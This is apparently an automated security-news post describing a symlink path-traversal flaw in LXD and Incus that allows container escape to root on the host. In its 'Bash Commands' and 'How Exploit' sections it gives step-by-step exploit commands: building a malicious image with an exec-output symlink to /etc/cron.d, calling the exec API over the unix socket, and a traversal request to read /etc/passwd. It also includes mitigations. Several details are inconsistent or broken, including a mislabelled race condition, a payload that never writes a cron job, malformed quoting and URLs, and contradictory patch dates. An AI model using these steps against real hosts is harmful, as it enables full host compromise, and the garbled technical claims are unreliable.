Listen to this Post
How the CVE Works
This vulnerability resides in how LXD (and its fork Incus) handles the `record-output` parameter of the `/instances/$name/exec` API endpoint. The `record-output` functionality is designed to capture the stdout and stderr of commands executed within a container, storing them as files in the instance’s `exec-output` directory. The core of the issue is that when an image is unpacked, top-level symbolic links are extracted exactly as they are on the filesystem. An attacker with the ability to create a custom container image can include a top-level symlink named `exec-output` that points to an arbitrary location on the host system.
The vulnerability is triggered in the `instance_exec.go` code. When a command is executed with `record-output` set to true, the LXD daemon calls `os.Mkdir` on the `exec-output` path. Because `exec-output` is a symlink, `os.Mkdir` does not prevent the operation and simply continues. Subsequently, `os.OpenFile` is used to create the output files (named `exec_UUID.stdout` and exec_UUID.stderr). This function follows the symlink, thereby writing the command’s output to a file at the attacker-chosen location on the host.
By crafting a malicious image with an `exec-output` symlink pointing to a sensitive directory like /etc/cron.d/, an attacker can cause the LXD daemon (which runs as root) to write a cron job file to the host system. When the cron daemon executes this job, it runs with root privileges, leading to full container escape and arbitrary command execution on the host. This vulnerability is particularly dangerous because it allows a user with the ability to launch a custom container (such as a member of the `incus` or `lxd` group) to compromise the entire host system.
DailyCVE Form
Platform: LXD / Incus
Version: ≤ 6.21.0 (Incus), ≤ 5.0 LTS (LXD)
Vulnerability: Path Traversal via Symlink
Severity: Critical
Date: January 2026
Prediction: Patches released June–July 2026
What Undercode Say
Analytics
The vulnerability exists because `os.Mkdir` and `os.OpenFile` in Go follow symbolic links without validating the final path. This is a classic symlink race condition (TOCTOU) that can be exploited during image import.
Bash Commands & Codes
1. Create a malicious image with a symlink:
Unpack a base image incus image export <base-image> /tmp/img mkdir /tmp/repack cd /tmp/repack xz -cd /tmp/img | tar -xf - Replace exec-output with a symlink to /etc/cron.d rm -rf exec-output ln -s /etc/cron.d exec-output Repack the image tar -cf - | gzip -c9 > /tmp/malicious.img incus image import /tmp/malicious.img --alias evil
2. Launch the container and execute a command with record-output:
incus launch evil evil-container
incus wait evil-container ip
Execute a command that writes a cron job
curl -s --unix-socket /var/lib/incus/unix.socket \
-X POST -H 'Content-Type: application/json' \
-d '{"command":["/bin/sh","-c","echo ' root id > /tmp/pwned'"],"record-output":true}' \
"lxd/1.0/instances/evil-container/exec"
3. Alternative path traversal for file read (LXD 5.0 LTS):
Read /etc/passwd via log file path traversal curl -X GET "https://<lxd-host>/1.0/instances/<instance>/logs/snapshot_../../../../etc/passwd"
How Exploit
- Image Preparation: The attacker creates a custom container image containing a top-level symlink named `exec-output` that points to a sensitive host directory (e.g.,
/etc/cron.d/,/root/.ssh/, or/proc/sys/kernel/core_pattern). - Image Import: The malicious image is imported into LXD/Incus using
incus image import. - Container Launch: The attacker launches a container from the imported image.
- Command Execution: Using the LXD API, the attacker executes a command inside the container with the `record-output` parameter set to
true. - Symlink Following: The LXD daemon follows the `exec-output` symlink and writes the command output (stdout/stderr) to a file at the attacker-specified host location.
- Privilege Escalation: If the output is written to
/etc/cron.d/, the cron daemon executes the injected commands as root, granting full host compromise. Alternatively, overwriting `/proc/sys/kernel/core_pattern` allows arbitrary command execution upon a container crash.
Protection
- Upgrade to patched versions:
- LXD snap: `6.9` (6/stable), `5.21.5` (5.21/stable), `5.0.7` (5.0/stable), `4.0.11` (4.0/stable)
- Incus: `6.22` or later
- Debian: `6.0.4-2+deb13u4` (trixie) or later
- Mitigation: If an immediate upgrade is not possible, restrict API access to admin users only:
Restrict access to the LXD socket chmod 660 /var/lib/lxd/unix.socket
- Image Validation: Implement checks on imported images to reject those containing dangerous top-level symlinks (e.g.,
exec-output,realroot). - Code Fix: The vulnerability is addressed by validating that the resolved path of `exec-output` remains within the container’s root filesystem before performing file operations.
Impact
- Container Escape: An attacker with the ability to launch a custom container can break out of the container sandbox and execute arbitrary commands on the host with root privileges.
- Host Compromise: Full system compromise, including data theft, backdoor installation, and lateral movement across the infrastructure.
- Multi-tenant Breach: In shared LXD/Incus environments, this vulnerability breaks tenant isolation, allowing one tenant to compromise another’s data and instances.
- Widespread Exposure: Affects all versions of Incus ≤ 6.21.0 and LXD ≤ 5.0 LTS, including IncusOS deployments.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

